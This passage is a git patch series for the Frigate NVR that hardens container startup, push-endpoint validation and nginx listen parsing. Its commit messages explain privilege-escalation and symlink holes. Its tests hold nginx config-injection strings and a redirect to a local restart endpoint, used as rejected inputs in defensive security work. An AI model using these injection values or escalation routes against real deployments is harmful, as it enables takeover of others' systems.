dispatcher.publish_local("notices", "[]") + + healthy.publish.assert_any_call("reviews", "{}", False) + healthy.publish.assert_any_call("notices", "[]", False) + + +if __name__ == "__main__": + unittest.main() diff --git a/frigate/test/test_webpush_registration.py b/frigate/test/test_webpush_registration.py index 733659489a..d1787a133a 100644 --- a/frigate/test/test_webpush_registration.py +++ b/frigate/test/test_webpush_registration.py @@ -3,8 +3,13 @@ import unittest from base64 import urlsafe_b64encode -from frigate.api.notification import _validate_push_endpoint, _validate_subscription -from frigate.comms.webpush import _build_web_pushers +from frigate.api.notification import _validate_subscription +from frigate.comms.webpush import ( + _build_web_pushers, + _NoRedirectSession, + _vapid_audience, + validate_push_endpoint, +) VALID_ENDPOINTS = [ "https://fcm.googleapis.com/fcm/send/dGhpcy1pcy1hLXRva2Vu", @@ -26,11 +31,11 @@ class TestValidatePushEndpoint(unittest.TestCase): def test_accepts_real_push_service_endpoints(self): for endpoint in VALID_ENDPOINTS: with self.subTest(endpoint=endpoint): - self.assertIsNone(_validate_push_endpoint(endpoint)) + self.assertIsNone(validate_push_endpoint(endpoint)) def test_rejects_http(self): self.assertIsNotNone( - _validate_push_endpoint("http://fcm.googleapis.com/fcm/send/token") + validate_push_endpoint("http://fcm.googleapis.com/fcm/send/token") ) def test_rejects_non_http_schemes(self): @@ -40,7 +45,7 @@ class TestValidatePushEndpoint(unittest.TestCase): "//example.com/token", ): with self.subTest(endpoint=endpoint): - self.assertIsNotNone(_validate_push_endpoint(endpoint)) + self.assertIsNotNone(validate_push_endpoint(endpoint)) def test_rejects_localhost(self): for endpoint in ( @@ -50,7 +55,7 @@ class TestValidatePushEndpoint(unittest.TestCase): "https://[::1]/token", ): with self.subTest(endpoint=endpoint): - self.assertIsNotNone(_validate_push_endpoint(endpoint)) + self.assertIsNotNone(validate_push_endpoint(endpoint)) def test_rejects_private_addresses(self): for endpoint in ( @@ -61,7 +66,7 @@ class TestValidatePushEndpoint(unittest.TestCase): "https://0.0.0.0/token", ): with self.subTest(endpoint=endpoint): - self.assertIsNotNone(_validate_push_endpoint(endpoint)) + self.assertIsNotNone(validate_push_endpoint(endpoint)) def test_rejects_internal_hostnames(self): for endpoint in ( @@ -71,16 +76,16 @@ class TestValidatePushEndpoint(unittest.TestCase): "https://host.home.arpa/token", ): with self.subTest(endpoint=endpoint): - self.assertIsNotNone(_validate_push_endpoint(endpoint)) + self.assertIsNotNone(validate_push_endpoint(endpoint)) def test_rejects_non_default_port(self): self.assertIsNotNone( - _validate_push_endpoint("https://fcm.googleapis.com:8080/fcm/send/token") + validate_push_endpoint("https://fcm.googleapis.com:8080/fcm/send/token") ) def test_rejects_embedded_credentials(self): self.assertIsNotNone( - _validate_push_endpoint( + validate_push_endpoint( "https://user:pass@fcm.googleapis.com/fcm/send/token" ) ) @@ -88,26 +93,26 @@ class TestValidatePushEndpoint(unittest.TestCase): def test_rejects_endpoint_without_path(self): for endpoint in ("https://fcm.googleapis.com", "https://fcm.googleapis.com/"): with self.subTest(endpoint=endpoint): - self.assertIsNotNone(_validate_push_endpoint(endpoint)) + self.assertIsNotNone(validate_push_endpoint(endpoint)) - def test_rejects_endpoint_that_breaks_audience_parsing(self): - # webpush.py locates the host by searching for a separator after index - # 10, which raises ValueError when the url has no path at all - endpoint = "https://fcm.googleapis.com" - - with self.assertRaises(ValueError): - endpoint.index("/", 10) - - self.assertIsNotNone(_validate_push_endpoint(endpoint)) + def test_rejects_empty_hostname_labels(self): + for endpoint in ( + "https://./x", + "https://fcm..googleapis.com/token", + "https://.fcm.googleapis.com/token", + "https://fcm.googleapis.com./token", + ): + with self.subTest(endpoint=endpoint): + self.assertIsNotNone(validate_push_endpoint(endpoint)) def test_rejects_missing_or_non_string_endpoint(self): for endpoint in (None, "", 5, {"url": "https://example.com/token"}): with self.subTest(endpoint=endpoint): - self.assertIsNotNone(_validate_push_endpoint(endpoint)) + self.assertIsNotNone(validate_push_endpoint(endpoint)) def test_rejects_overlong_endpoint(self): self.assertIsNotNone( - _validate_push_endpoint(f"https://fcm.googleapis.com/{'a' * 4096}") + validate_push_endpoint(f"https://fcm.googleapis.com/{'a' * 4096}") ) @@ -148,10 +153,6 @@ class TestValidateSubscription(unittest.TestCase): self.assertIsNotNone(_validate_subscription(sub)) -if __name__ == "__main__": - unittest.main() - - class TestBuildWebPushers(unittest.TestCase): def test_skips_subscriptions_with_malformed_keys(self): bad = _subscription(VALID_ENDPOINTS[0]) @@ -163,3 +164,52 @@ class TestBuildWebPushers(unittest.TestCase): self.assertEqual(len(pushers), 1) self.assertEqual(pushers[0].receiver_key, b"\x04" + bytes(64)) + + def _valid_keys_subscription(self, endpoint: str) -> dict: + sub = _subscription(endpoint) + sub["keys"]["p256dh"] = urlsafe_b64encode(b"\x04" + bytes(64)).decode() + return sub + + def test_skips_stored_rows_that_break_the_audience(self): + good = self._valid_keys_subscription(VALID_ENDPOINTS[0]) + rows = [ + self._valid_keys_subscription("https://./secret-token"), + self._valid_keys_subscription("https://[::1/secret-token"), + {"keys": good["keys"]}, + "not-a-dict", + good, + ] + + with self.assertLogs("frigate.comms.webpush", level="WARNING") as logs: + pushers = _build_web_pushers("viewer", rows) + + self.assertEqual(len(logs.output), 4) + self.assertIn("'.'", logs.output[0]) + self.assertNotIn("secret-token", "".join(logs.output)) + self.assertEqual(len(pushers), 1) + self.assertEqual(pushers[0].subscription_info["endpoint"], VALID_ENDPOINTS[0]) + self.assertIsInstance(pushers[0].mod_or_session, _NoRedirectSession) + + def test_keeps_stored_self_hosted_endpoints(self): + rows = [ + self._valid_keys_subscription("https://ntfy.example.com:8443/up123"), + self._valid_keys_subscription("https://ntfy.example.com/"), + ] + + pushers = _build_web_pushers("viewer", rows) + + self.assertEqual(len(pushers), 2) + + +class TestVapidAudience(unittest.TestCase): + def test_uses_scheme_and_host(self): + self.assertEqual( + _vapid_audience(VALID_ENDPOINTS[0]), "https://fcm.googleapis.com" + ) + self.assertEqual( + _vapid_audience(VALID_ENDPOINTS[4]), "https://fcm.googleapis.com:443" + ) + + +if __name__ == "__main__": + unittest.main() diff --git a/frigate/test/test_webpush_send_guard.py b/frigate/test/test_webpush_send_guard.py new file mode 100644 index 0000000000..ebcd9a3fc5 --- /dev/null +++ b/frigate/test/test_webpush_send_guard.py @@ -0,0 +1,45 @@ +"""Tests that push sends never follow redirects.""" + +import unittest + +import requests +from requests.adapters import BaseAdapter + +from frigate.comms.webpush import _NoRedirectSession + +ENDPOINT = "https://push.example.com/token" + + +class RedirectAdapter(BaseAdapter): + def __init__(self): + super().__init__() + self.calls = 0 + + def send(self, request, **kwargs): + self.calls += 1 + response = requests.Response() + response.status_code = 307 + response.headers["Location"] = "http://127.0.0.1:5000/api/restart" + response.url = request.url + response.request = request + return response + + def close(self): + pass + + +class TestNoRedirectSession(unittest.TestCase): + def test_does_not_follow_redirects(self): + adapter = RedirectAdapter() + session = _NoRedirectSession() + session.mount("https://", adapter) + session.mount("http://", adapter) + + response = session.post(ENDPOINT, data=b"payload") + + self.assertEqual(response.status_code, 307) + self.assertEqual(adapter.calls, 1) + + +if __name__ == "__main__": + unittest.main() diff --git a/frigate/video/detect.py b/frigate/video/detect.py index a2877f83c0..591b57f97e 100644 --- a/frigate/video/detect.py +++ b/frigate/video/detect.py @@ -338,7 +338,12 @@ def process_frames( continue if datetime.now().astimezone(UTC) > next_region_update: - region_grid = requestor.send_data(REQUEST_REGION_GRID, camera_config.name) + updated_grid = requestor.send_data(REQUEST_REGION_GRID, camera_config.name) + + # A failed request replies empty, so keep the current grid + if updated_grid: + region_grid = updated_grid + next_region_update = get_tomorrow_at_time(2) try: From 9a0672a64d8015767aff525115f4deb069902810 Mon Sep 17 00:00:00 2001 From: Josh Hawkins <32435876+hawkeye217@users.noreply.github.com> Date: Mon, 19 Oct 2026 09:57:35 -0500 Subject: [PATCH 12/13] Harden container startup (#24718) * keep /config out of the root environment in the frigate run script The script exported HOME=/config and prepended /config/.local/lib to LD_LIBRARY_PATH while still root, then ran python3, ffmpeg, grep, and opt_in_out as root. The runtime user owns /config, so it could plant a .pth file in the user site-packages or a library on the loader path and get code run as root on the next start. Root helpers now run with root's environment (and python3 -I), and HOME, LD_LIBRARY_PATH, and PATH reach only the dropped process through env on the s6-setuidgid line. opt_in_out runs as the runtime user, so the openvino marker no longer gets written into /config by root. * don't follow a planted symlink when writing /dev/shm/go2rtc.yaml After the first start the go2rtc user owned /dev/shm/go2rtc.yaml and could swap it for a dangling symlink. The run script's -f test was false for a dangling link, so the link survived, and root's create_config.py then created the link target and the chown handed it to go2rtc. The run script now removes any existing entry, create_config.py creates the file with O_EXCL and O_NOFOLLOW at mode 0640, and the chown uses -h. * run root python helpers in isolated mode and keep HOME=/config for non-root containers The previous commit only set HOME=/config when dropping from root, so a container started with --user lost it. The other root-run helpers in the go2rtc, nginx, and certsync scripts now use python3 -I too, so they never load user site-packages or PYTHON* variables. * validate networking.listen values before rendering them into nginx config ListenConfig and get_nginx_settings.py only checked that the text after the last colon parsed as an int, and tempio rendered the raw string into the listen directive, so a value like "5000; location /x/ { alias /; } #:5000" injected nginx directives. Both now go through parse_listen_address, which accepts only a port, IPv4:port, or [IPv6]:port with a 1 to 65535 port and rebuilds the value from the parsed parts. get_nginx_settings.py falls back to the default port on an invalid value so nginx still serves the safe-mode UI. * tighten comments * accept hostnames, wildcards, and padded values in networking.listen The stricter parser broke localhost:5000, *:5000, and values with surrounding whitespace that the old int() parsing accepted. parse_listen_address now strips the value and accepts RFC 1123 hostnames and *, still rebuilding the rendered value from the parsed parts. The ListenConfig validator runs in before mode, because pydantic coerced true to port 1 while get_nginx_settings.py rejected it and fell back to 5000, so the auth internal port and nginx disagreed. * always create go2rtc.yaml after removing it and don't let opt_in_out stop frigate The go2rtc else-branch was only reachable when a regular file was planted between rm and the test, and then loaded that file as go2rtc's config. create_config.py now runs unconditionally and its exclusive create fails closed. opt_in_out runs after s6-svc -O, so a failure there was terminal under errexit. * fall back to default listen ports when either is invalid or they collide * keep valid listen values and refuse to start nginx when the ports collide --- .../etc/s6-overlay/s6-rc.d/certsync/run | 4 +- .../rootfs/etc/s6-overlay/s6-rc.d/frigate/run | 49 +++++++------- .../rootfs/etc/s6-overlay/s6-rc.d/go2rtc/run | 33 ++++----- .../rootfs/etc/s6-overlay/s6-rc.d/nginx/run | 2 +- .../rootfs/usr/local/go2rtc/create_config.py | 14 ++-- .../usr/local/nginx/get_nginx_settings.py | 35 ++++++---- frigate/config/network.py | 23 ++++--- frigate/test/test_network_config.py | 67 +++++++++++++++++++ frigate/util/config.py | 45 +++++++++++++ 9 files changed, 197 insertions(+), 75 deletions(-) diff --git a/docker/main/rootfs/etc/s6-overlay/s6-rc.d/certsync/run b/docker/main/rootfs/etc/s6-overlay/s6-rc.d/certsync/run index 56d70640a6..235c9b3991 100755 --- a/docker/main/rootfs/etc/s6-overlay/s6-rc.d/certsync/run +++ b/docker/main/rootfs/etc/s6-overlay/s6-rc.d/certsync/run @@ -36,8 +36,8 @@ else lefile="/config/tls/fullchain.pem" fi -tls_enabled=`python3 /usr/local/nginx/get_nginx_settings.py | jq -r .tls.enabled` -listen_external_port=`python3 /usr/local/nginx/get_nginx_settings.py | jq -r .listen.external_port` +tls_enabled=`python3 -I /usr/local/nginx/get_nginx_settings.py | jq -r .tls.enabled` +listen_external_port=`python3 -I /usr/local/nginx/get_nginx_settings.py | jq -r .listen.external_port` while true do diff --git a/docker/main/rootfs/etc/s6-overlay/s6-rc.d/frigate/run b/docker/main/rootfs/etc/s6-overlay/s6-rc.d/frigate/run index 32d26288d1..5c14ae564a 100755 --- a/docker/main/rootfs/etc/s6-overlay/s6-rc.d/frigate/run +++ b/docker/main/rootfs/etc/s6-overlay/s6-rc.d/frigate/run @@ -11,30 +11,13 @@ if [[ "$(id -u)" -eq 0 ]]; then fi fi -# /root survives s6-setuidgid and breaks cache writes after the drop; set -# before opt_in_out so the opt-out marker lands where the service will look -if [[ "$runs_as_root" -eq 0 ]]; then - export HOME=/config -fi - -# detector runtimes installed at first start (pip install --user) live under -# $HOME/.local; the dynamic loader only reads LD_LIBRARY_PATH at exec time -export LD_LIBRARY_PATH="${LD_LIBRARY_PATH:+${LD_LIBRARY_PATH}:}${HOME}/.local/lib" -export PATH="${PATH}:${HOME}/.local/bin" - -# opt out of openvino telemetry -if [ -e /usr/local/bin/opt_in_out ]; then - /usr/local/bin/opt_in_out --opt_out > /dev/null 2>&1 -fi - -# Logs should be sent to stdout so that s6 can collect them - # Tell S6-Overlay not to restart this service s6-svc -O . +# Runs as root with root's HOME and LD_LIBRARY_PATH; -I skips user site-packages function set_libva_version() { local ffmpeg_path - ffmpeg_path=$(python3 /usr/local/ffmpeg/get_ffmpeg_path.py) + ffmpeg_path=$(python3 -I /usr/local/ffmpeg/get_ffmpeg_path.py) LIBAVFORMAT_VERSION_MAJOR=$("$ffmpeg_path" -version | grep -Po "libavformat\W+\K\d+") export LIBAVFORMAT_VERSION_MAJOR } @@ -42,14 +25,32 @@ function set_libva_version() { echo "[INFO] Preparing Frigate..." set_libva_version +# HOME=/root survives s6-setuidgid, so any run that is not root gets +# HOME=/config explicitly. The runtime user owns /config, so these paths go +# only to the service process, never to root. Detector runtimes installed at +# first start (pip install --user) live under $HOME/.local. +run_as=() +runtime_home="${HOME}" +if [[ "$runs_as_root" -eq 0 ]]; then + runtime_home=/config + if [[ "$(id -u)" -eq 0 ]]; then + run_as=(s6-setuidgid frigate) + fi +fi +run_as+=(env + "HOME=${runtime_home}" + "LD_LIBRARY_PATH=${LD_LIBRARY_PATH:+${LD_LIBRARY_PATH}:}${runtime_home}/.local/lib" + "PATH=${PATH}:${runtime_home}/.local/bin") + +# opt out of openvino telemetry; the marker lands under the service's HOME +if [ -e /usr/local/bin/opt_in_out ]; then + "${run_as[@]}" /usr/local/bin/opt_in_out --opt_out > /dev/null 2>&1 || true +fi + echo "[INFO] Starting Frigate..." cd /opt/frigate || echo "[ERROR] Failed to change working directory to /opt/frigate" # Replace the bash process with the Frigate process, redirecting stderr to stdout exec 2>&1 -if [[ "$(id -u)" -ne 0 || "$runs_as_root" -eq 1 ]]; then - exec python3 -u -m frigate -else - exec s6-setuidgid frigate python3 -u -m frigate -fi +exec "${run_as[@]}" python3 -u -m frigate diff --git a/docker/main/rootfs/etc/s6-overlay/s6-rc.d/go2rtc/run b/docker/main/rootfs/etc/s6-overlay/s6-rc.d/go2rtc/run index db11bc3576..69ef70ae1d 100755 --- a/docker/main/rootfs/etc/s6-overlay/s6-rc.d/go2rtc/run +++ b/docker/main/rootfs/etc/s6-overlay/s6-rc.d/go2rtc/run @@ -59,38 +59,33 @@ function get_ip_and_port_from_supervisor() { function set_libva_version() { local ffmpeg_path - ffmpeg_path=$(python3 /usr/local/ffmpeg/get_ffmpeg_path.py) + ffmpeg_path=$(python3 -I /usr/local/ffmpeg/get_ffmpeg_path.py) LIBAVFORMAT_VERSION_MAJOR=$("$ffmpeg_path" -version | grep -Po "libavformat\W+\K\d+") export LIBAVFORMAT_VERSION_MAJOR } set_libva_version -if [[ -f "/dev/shm/go2rtc.yaml" ]]; then - echo "[INFO] Removing stale config from last run..." - rm /dev/shm/go2rtc.yaml +# create_config.py creates the file exclusively and fails if anything +# reappears at this path +rm -f /dev/shm/go2rtc.yaml + +echo "[INFO] Preparing new go2rtc config..." + +if [[ -n "${SUPERVISOR_TOKEN:-}" ]]; then + # Running as a Home Assistant Add-on, infer the IP address and port + get_ip_and_port_from_supervisor fi -if [[ ! -f "/dev/shm/go2rtc.yaml" ]]; then - echo "[INFO] Preparing new go2rtc config..." - - if [[ -n "${SUPERVISOR_TOKEN:-}" ]]; then - # Running as a Home Assistant Add-on, infer the IP address and port - get_ip_and_port_from_supervisor - fi - - python3 /usr/local/go2rtc/create_config.py -else - echo "[WARNING] Unable to remove existing go2rtc config. Changes made to your frigate config file may not be recognized. Please remove the /dev/shm/go2rtc.yaml from your docker host manually." -fi +python3 -I /usr/local/go2rtc/create_config.py # HomeKit persistence. The helper is symlink-safe; hand off to go2rtc only when dropping. readonly homekit_config_path="/config/go2rtc_homekit.yml" if [[ "$(id -u)" -eq 0 && "$runs_as_root" -eq 0 ]]; then - python3 /usr/local/go2rtc/prepare_homekit.py "${homekit_config_path}" --chown - chown go2rtc:go2rtc /dev/shm/go2rtc.yaml 2>/dev/null || true + python3 -I /usr/local/go2rtc/prepare_homekit.py "${homekit_config_path}" --chown + chown -h go2rtc:go2rtc /dev/shm/go2rtc.yaml 2>/dev/null || true else - python3 /usr/local/go2rtc/prepare_homekit.py "${homekit_config_path}" + python3 -I /usr/local/go2rtc/prepare_homekit.py "${homekit_config_path}" fi readonly config_path="/config" diff --git a/docker/main/rootfs/etc/s6-overlay/s6-rc.d/nginx/run b/docker/main/rootfs/etc/s6-overlay/s6-rc.d/nginx/run index a4d7998b56..d7d70a15a7 100755 --- a/docker/main/rootfs/etc/s6-overlay/s6-rc.d/nginx/run +++ b/docker/main/rootfs/etc/s6-overlay/s6-rc.d/nginx/run @@ -124,7 +124,7 @@ fi mkdir -p /etc/letsencrypt/www 2>/dev/null || true # nginx settings are read once; both templates consume them -nginx_settings=$(python3 /usr/local/nginx/get_nginx_settings.py) +nginx_settings=$(python3 -I /usr/local/nginx/get_nginx_settings.py) # build templates for optional FRIGATE_BASE_PATH environment variable echo "$nginx_settings" | \ diff --git a/docker/main/rootfs/usr/local/go2rtc/create_config.py b/docker/main/rootfs/usr/local/go2rtc/create_config.py index 51c155075c..e9b111f93f 100644 --- a/docker/main/rootfs/usr/local/go2rtc/create_config.py +++ b/docker/main/rootfs/usr/local/go2rtc/create_config.py @@ -198,9 +198,13 @@ if config.get("birdseye", {}).get("restream", False): else: go2rtc_config["streams"] = {"birdseye": ffmpeg_cmd} -# Write go2rtc_config to /dev/shm/go2rtc.yaml -with open("/dev/shm/go2rtc.yaml", "w") as f: +# The run script removes the old file first. Exclusive create never follows a +# link the go2rtc user planted in sticky /dev/shm. The config contains camera +# credentials, so it is not world-readable. +fd = os.open( + "/dev/shm/go2rtc.yaml", + os.O_WRONLY | os.O_CREAT | os.O_EXCL | os.O_NOFOLLOW, + 0o640, +) +with os.fdopen(fd, "w") as f: yaml.dump(go2rtc_config, f) - -# config contains camera credentials; do not leave it world-readable -os.chmod("/dev/shm/go2rtc.yaml", 0o640) diff --git a/docker/main/rootfs/usr/local/nginx/get_nginx_settings.py b/docker/main/rootfs/usr/local/nginx/get_nginx_settings.py index 79cda36860..d2abcd693a 100644 --- a/docker/main/rootfs/usr/local/nginx/get_nginx_settings.py +++ b/docker/main/rootfs/usr/local/nginx/get_nginx_settings.py @@ -8,7 +8,7 @@ from typing import Any from ruamel.yaml import YAML sys.path.insert(0, "/opt/frigate") -from frigate.util.config import find_config_file +from frigate.util.config import find_config_file, parse_listen_address sys.path.remove("/opt/frigate") @@ -35,20 +35,29 @@ ipv6_config: dict[str, Any] = networking_config.get("ipv6", {}) ipv6_config.setdefault("enabled", False) listen_config: dict[str, Any] = networking_config.get("listen", {}) -listen_config.setdefault("internal", 5000) -listen_config.setdefault("external", 8971) -# handle case where internal port is a string with ip:port -internal_port = listen_config["internal"] -if type(internal_port) is str: - internal_port = int(internal_port.split(":")[-1]) -listen_config["internal_port"] = internal_port +# Frigate's own validation runs elsewhere, and a bad value here must not stop nginx +# from serving the safe-mode UI. Valid values are kept so a fallback never widens +# the unauthenticated internal listener beyond the configured address. +for key, default in (("internal", 5000), ("external", 8971)): + try: + value, port = parse_listen_address(listen_config.get(key, default)) + except ValueError: + print( + f"[WARN] Invalid networking.listen.{key}, using {default}", + file=sys.stderr, + ) + value, port = default, default -# handle case where external port is a string with ip:port -external_port = listen_config["external"] -if type(external_port) is str: - external_port = int(external_port.split(":")[-1]) -listen_config["external_port"] = external_port + listen_config[key] = value + listen_config[f"{key}_port"] = port + +if listen_config["internal_port"] == listen_config["external_port"]: + print( + "[ERROR] networking.listen.internal and external share a port", + file=sys.stderr, + ) + sys.exit(1) base_path = os.environ.get("FRIGATE_BASE_PATH", "") diff --git a/frigate/config/network.py b/frigate/config/network.py index 1838b410bd..0ce4f0c0f5 100644 --- a/frigate/config/network.py +++ b/frigate/config/network.py @@ -1,18 +1,12 @@ -from pydantic import Field, model_validator +from pydantic import Field, field_validator, model_validator + +from frigate.util.config import parse_listen_address from .base import FrigateBaseModel __all__ = ["IPv6Config", "ListenConfig", "NetworkingConfig"] -def parse_listen_port(value: int | str) -> int: - """Return the port number from a bare port or an "address:port" value.""" - if isinstance(value, str): - return int(value.split(":")[-1]) - - return value - - class IPv6Config(FrigateBaseModel): enabled: bool = Field( default=False, @@ -33,13 +27,20 @@ class ListenConfig(FrigateBaseModel): description="External listening port for Frigate (default 8971).", ) + # Runs before pydantic coerces a bool to an int port, which + # get_nginx_settings.py rejects when it reads the raw YAML + @field_validator("internal", "external", mode="before") + @classmethod + def validate_listen(cls, value: int | str) -> int | str: + return parse_listen_address(value)[0] + @property def internal_port(self) -> int: - return parse_listen_port(self.internal) + return parse_listen_address(self.internal)[1] @property def external_port(self) -> int: - return parse_listen_port(self.external) + return parse_listen_address(self.external)[1] @model_validator(mode="after") def validate_distinct_ports(self) -> "ListenConfig": diff --git a/frigate/test/test_network_config.py b/frigate/test/test_network_config.py index 7c78bf7bc4..199421371f 100644 --- a/frigate/test/test_network_config.py +++ b/frigate/test/test_network_config.py @@ -36,6 +36,73 @@ class TestListenConfig(unittest.TestCase): self.assertEqual(listen.internal_port, 5001) self.assertEqual(listen.external_port, 8971) + def test_valid_listen_values_are_rebuilt(self): + cases = { + 5000: 5000, + "5000": 5000, + "127.0.0.1:5000": "127.0.0.1:5000", + "0.0.0.0:5000": "0.0.0.0:5000", + "[::1]:5000": "[::1]:5000", + "[::]:5000": "[::]:5000", + "[2001:DB8:0:0::1]:5000": "[2001:db8::1]:5000", + " 5000 ": 5000, + "5000\n": 5000, + " 127.0.0.1:5000 ": "127.0.0.1:5000", + "localhost:5000": "localhost:5000", + "frigate-host.lan:5000": "frigate-host.lan:5000", + "*:5000": "*:5000", + } + + for value, expected in cases.items(): + with self.subTest(value=value): + listen = ListenConfig(internal=value) + + self.assertEqual(listen.internal, expected) + self.assertEqual(listen.internal_port, 5000) + + def test_invalid_listen_values_rejected(self): + cases = [ + "5000; location /x/ { alias /; autoindex on; } #:5000", + "127.0.0.1:5000; include /etc/passwd", + "5000 ssl", + "5000;", + "::1:5000", + "[127.0.0.1]:5000", + "[fe80::1%eth0]:5000", + "local host:5000", + "localhost;:5000", + "local{host}:5000", + "host#:5000", + "'localhost':5000", + '"localhost":5000', + "-host:5000", + "host-:5000", + "host..lan:5000", + "**:5000", + "*.lan:5000", + "unix:/tmp/sock:5000", + "5000 5001", + ":5000", + "127.0.0.1:", + "127.0.0.1:+5000", + 0, + 65536, + -1, + ] + + for value in cases: + with self.subTest(value=value): + with self.assertRaises(ValidationError): + ListenConfig(internal=value) + + def test_bool_listen_value_rejected(self): + # get_nginx_settings.py sees the raw bool and falls back to the default, + # so accepting it as port 1 would split nginx and the auth port check + for value in (True, False): + with self.subTest(value=value): + with self.assertRaises(ValidationError): + ListenConfig(internal=value) + if __name__ == "__main__": unittest.main(verbosity=2) diff --git a/frigate/util/config.py b/frigate/util/config.py index 2cfe8612d2..0ac57b70e1 100644 --- a/frigate/util/config.py +++ b/frigate/util/config.py @@ -1,8 +1,10 @@ """configuration utils.""" import asyncio +import ipaddress import logging import os +import re import shutil from functools import cache from typing import Any @@ -126,6 +128,49 @@ def redact_credential(obj: dict[str, Any], key: str) -> None: obj.pop(key, None) +LISTEN_HOSTNAME = re.compile( + r"[A-Za-z0-9](?:[A-Za-z0-9-]{0,61}[A-Za-z0-9])?" + r"(?:\.[A-Za-z0-9](?:[A-Za-z0-9-]{0,61}[A-Za-z0-9])?)*" +) + + +def parse_listen_address(value: int | str) -> tuple[int | str, int]: + """Validate a networking.listen value and rebuild it from its parsed parts. + + Accepts a port, "host:port", "*:port", or "[IPv6]:port", where host is an + IPv4 address or an RFC 1123 hostname. nginx receives the rebuilt value + verbatim, so anything else raises ValueError. + + Returns: + The normalized value (an int for a bare port) and the port + """ + if isinstance(value, bool) or not isinstance(value, int | str): + raise ValueError(f"invalid listen value: {value!r}") + + host, sep, port_text = str(value).strip().rpartition(":") + + if not re.fullmatch(r"[0-9]{1,5}", port_text) or not (1 <= int(port_text) <= 65535): + raise ValueError(f"invalid listen port: {value!r}") + + port = int(port_text) + + if not sep: + return port, port + + if host.startswith("[") and host.endswith("]"): + address = ipaddress.IPv6Address(host[1:-1]) + + if address.scope_id: + raise ValueError(f"listen address must not have a scope ID: {value!r}") + + return f"[{address}]:{port}", port + + if host != "*" and not LISTEN_HOSTNAME.fullmatch(host): + raise ValueError(f"invalid listen address: {value!r}") + + return f"{host}:{port}", port + + def find_config_file() -> str: """Return the path of the config file to use. From 8263f13d1b07fd22fe913e32782c5c0d4e47331d Mon Sep 17 00:00:00 2001 From: Josh Hawkins <32435876+hawkeye217@users.noreply.github.com> Date: Mon, 19 Oct 2026 13:27:40 -0500 Subject: [PATCH 13/13] disable open_file_cache for review thumbnails (#24727) Review thumbnails are rewritten in place while a review is active, and nginx's open_file_cache reused the stale file size for up to 2 minutes. A larger rewrite was served truncated with a 200, and a smaller one aborted the response mid-transfer, which broke notification images. The review thumbnail location now skips the cache. --- docker/main/rootfs/usr/local/nginx/conf/nginx.conf | 6 ++++++ 1 file changed, 6 insertions(+) diff --git a/docker/main/rootfs/usr/local/nginx/conf/nginx.conf b/docker/main/rootfs/usr/local/nginx/conf/nginx.conf index 690d08f6d0..96b2b3f085 100644 --- a/docker/main/rootfs/usr/local/nginx/conf/nginx.conf +++ b/docker/main/rootfs/usr/local/nginx/conf/nginx.conf @@ -176,6 +176,12 @@ http { add_header Cache-Control "public"; autoindex on; root /media/frigate; + + # review thumbnails are rewritten in place while a review is active, + # so a cached file size truncates the response + location /clips/review/ { + open_file_cache off; + } } location /cache/ {